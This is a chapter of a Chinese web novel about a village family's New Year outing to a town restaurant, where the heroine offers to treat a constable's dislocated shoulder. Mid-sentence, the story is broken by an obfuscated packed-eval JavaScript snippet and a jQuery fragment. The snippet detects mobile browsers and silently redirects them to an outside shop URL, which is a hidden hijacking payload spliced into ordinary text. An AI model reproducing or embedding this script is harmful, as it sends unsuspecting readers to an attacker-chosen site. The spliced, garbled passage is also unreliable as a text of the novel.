过了一会,柳含茵才出来,脸上惊魂未定,看了看三个孩子,一脸欲言又止。
不多时,沈守拙跟了出来,夫妻二人对视了一眼,眼中都有些遗憾和后怕。
“行了,回家吧!”
一路上沈守拙闷不做声,柳含茵想了又想,还是开口跟孩子们说了。
“以后那个炮仗,能不玩就别玩了,太危险了,可别跟有财似的,把炮仗还放裤兜里。”
“娘,三哥伤成啥样啊?”山月抬眼问。
“额。”柳含茵犹犹豫豫的,没好意思说。
“没咋,烫着了!”沈守拙难得嘴快了一回,接过话茬。
烫着了?
这可能是沈守拙能想到的最轻微的伤势,但是那个位置,烫着了,以后基本上也就废掉了。
山月心里有了个大概,知道爹娘不想提及这个,便转移了话题。
“爹,娘,时候还早,咱们去集市上逛逛去呗。”
原本出门之前,一家人就是这么商定的,先去老宅,再去熟识的几户人家拜年,然后就直接去镇子上。
过年期间,直到正月十五,镇子上不休市,因此有好多商户抓住这个时机,出门摆摊。当然也有闲来无事的老百姓,会去集市逛逛,因此这个时候的镇子,格外热闹。
见几个孩子眼里充满期待,夫妻二人收了刚才的心思,点头应了。
到了镇子上的时候已是中午,人来车往,热闹非常。
“娘,饿了,咱们去吃饭吧。”沈曜之眨眨眼,盯着柳含茵。
“娘可没钱。”柳含茵给了沈曜之一个眼神,暗暗指了指山月。
“月儿,好月儿,我饿了,咱们找个地吃饭去吧。”
经自家娘的指点,沈曜之忽然想起山月才是家里掌管财政大权的人,立马粘了上来。
“既然今天是过年,咱们吃点好的。”山月大手一挥,“咱们下馆子去。”
来了古代这么久,山月吃的最好的,除了沈燕出嫁,就是吃吃路边摊,连酒楼的大门朝哪边开都不知道。
“下馆子?”一听山月要下馆子,柳含茵有些心疼钱,“月儿,那馆子,一样的包子比外面卖的够贵上一文,咱们找个好点的摊儿,吃上一口就行了,你上次不是说那个肉包子好吃嘛,咱们还去那家得了。”
“娘,咱们一年也就出来这一次,何况咱家今年每个人都努力挣钱,怎么还不能下顿馆子呢。”山月说的理直气壮,“不光咱们吃,我还要给外婆和海棠姐带回去,咱们家每个人都付出了劳动,理应有些回报的。”
一看自己小闺女一脸正义的样子,沈守拙就不免有些心软,虽然他也舍不得花钱。
“行了,爹同意了,我们月儿说下馆子,咱们就下馆子,图个高兴嘛!”
“娘,去吧,去吧!”沈曜之见沈守拙都答应了,又转过身来磨柳含茵。
少数服从多数,柳含茵不答应也得答应。
几人往镇子中心位置走了走,一幢二层小楼立在中间,外面雕梁画栋,看起来很是气派,这就是镇子上颇为有名的宴宾楼。
三个孩子从没下过馆子,跟在爹娘身后,左看看,右看看,只觉得哪里都很新鲜。
门外有迎宾的小二见几人正往这边走,便知道来了生意,快走几步迎了上来。
“大爷您五位啊,给您找个大桌,要靠窗的还是要靠边上的?”
小二很热情,边走边介绍着店里的招牌菜,“咱家的炙羊肉是一绝,外焦里嫩,满嘴流油,还有软酪,夫人小姐最喜欢的甜点,软软糯糯,老爷少爷爱吃的,煎鱼,炒鸡兔,头羹,又好吃又下酒,再给您上一壶清酒,喝完保管身子暖乎乎的。”
沈家人跟着小二往里走,整个大厅已经坐了两三桌人,山月抬眼往楼上望去,小二一眼便明白了山月的意思,解释道,“楼上是包间,酒菜够五两才能上楼。”
竟然还有最低消费。
一想到自己兜里那几两银子,山月便歇了心思,找了个靠窗的位置坐下。
一家人商量了几下,点了个煎鱼,炒鸡兔,头羹又给山月和柳含茵点了份软酪。
“娘,你过去来过这吗?”席间山月问。
话还没说,柳含茵先红了脸。
“哎呀,那还是我跟你娘刚成亲的时候来过一回。”沈守拙有些得意洋洋。
“就你俩?”
“就我俩!”沈守拙点了点头。
看见孩子们疑惑的眼神,柳含茵脸红的更甚了。
“你脸红啥啊,咋,还不好意思了?”沈守拙调侃道,“你娘嫁给我那会不容易,你奶又不让人,我成个亲,家里不给办酒席,我就偷偷带你娘出来吃了顿饭,就在这吃的。”
山月一听,恍然大悟。
沈守拙执意要娶柳含茵,这事成了沈家人心中的一道刺,沈老太自始至终都看不上柳含茵,觉得自家老三娶了她是沈家受了天大的委屈,又怎会给二人举办仪式,可那时的沈守拙却不想委屈柳含茵,因此两人在这宴宾楼,举办了个只有彼此才知道的婚礼。
“这些年,委屈你了。”沈守拙望向柳含茵,眼里满是心疼。
“哎呀,孩子在这,你说这干啥。”
柳含茵推了沈守拙一把,脸红的更甚了。
三个孩子低头憋笑,不时漏出几声,把柳含茵羞的只想起身离开。
一家人正高高兴兴的吃着饭,楼上有一桌吃完,呼呼拉拉的从楼梯往下走。
为首的那位男子约有三十几岁上下,体型健壮,不知是喝多了,还是脚下没踩稳,一脚落空,从楼梯上滚落下来。
“哎呦!”
“宋衙役!”
“宋大哥!”
后面的人紧跑几步将摔倒的人赶忙扶了起来。
“哎呀,疼!”被唤作宋衙役的男子抱着胳膊痛的脸色发白。
宴宾楼的老板,连忙上前查看,“哎呀,这怎么弄的,快快快,赶紧去请大夫!”
老板一边搀扶着宋衙役,一边指挥小伙计赶忙去请大夫。
几人扶着宋衙役坐在大厅正中间的位子上,再看宋衙役,抱着肩膀,冷汗直冒,似是伤到了骨头。
见有人受了伤,大厅有些混乱,沈守拙便招呼几个孩子赶紧吃,吃完赶紧回家。
正吃着,医馆的大夫背着小药箱匆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581856|204754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
匆忙忙的赶了过来。
山月只见过杜大夫那个赤脚医生看病,并未见过医馆真正的大夫看病,于是便上前去看看热闹。
大夫将宋衙役的衣服脱了大半,露出精壮的肌肉,只见受伤的这侧肩膀,明显塌陷下去,一动手臂,宋衙役就痛的大喊,山月心中大致有了个猜测。
应是肩关节脱位了。
大夫上下检查一番,犹豫着开口,“衙役,我不擅长治骨,但是我推测,您这是膀子掉了。”
“混账,你个大夫,你不会治骨?”旁边一个男子厉声喝道。
“小人确实不善骨伤啊,咱们镇上治骨的,只有张大夫。”大夫低头回答。
“那还等什么,还不快去请。”男子吼道。
“那个。”大夫头垂的更低了,“张大夫回乡过年去了,即使现在去请,这一来一回,至少四天。”
众人皆愣住了。
宋衙役痛的死去活来,现下又找不到大夫,宋衙役身边的男子急得团团转,一回头就看见了在一旁看热闹的山月,不由得怒从心中起。
“谁家的孩子,在这看什么,再看,休怪爷不客气。”
山月没动,沈守拙慌了,赶忙上前拉走山月,一边对着男子道歉,“官爷勿怪,小孩子不懂事。”
山月被沈守拙拉着往回走,边走边回头,她心中在盘算。
衙役,就是上回来家里搜家的人吗?看这些人对那个宋衙役的态度,貌似还是个小头头,像上次沈家大伯二伯被抓,如果那时就跟这种人搭上交情,是不是就能少走很多弯路。
朝中有人好办事,山月打定主意,回头大声喊道:“那个大叔的骨伤,我能治!”
沈守拙被山月这一嗓子唬的一震,连忙上手去捂山月的嘴,但是晚了,满大厅的人,都听见了山月的声音。
“你能治?”男子挑眉看了山月一眼。
“能!”山月挣脱开沈守拙的手,往前走了一步。
“哎,这不是沈家村那个孩子嘛!”有的人认出山月,紧接着,低下声音,开始窃窃私语。
“赵衙役,这个孩子可不一般。”身边有人知道山月,便贴着男子身边,将山月的故事大致说了一遍。
“这么邪门吗?”被叫做赵衙役的人不敢置信的瞪大眼睛。
“可不止那个被噎死的孩子,还有咱们镇子上的那个货郎,他媳妇也是病的要死了,也是这小丫头救活了。”那人补充道。
赵衙役仔细看了看山月,略带犹豫的说:“既你说你会治,你来看看,怎么个治法?”
山月刚要上前,却被沈守拙抓住胳膊,“月儿,可不敢乱说啊!”
“爹,放心吧!”山月拍了拍沈守拙的手,让他安心。
“还劳烦几位大叔,将这位伤患大叔放平。”
这是要让送衙役平躺在地上的意思。
“楼上有卧室,有床,要不把宋衙役带到楼上去吧。”店主不忍宋衙役这么躺在地上,赶忙上前。
“治这个伤,不能躺在床上,就得在地上。”山月摆手。
“在地上,地上咋治?”赵衙役眉头紧锁。
“踹他!”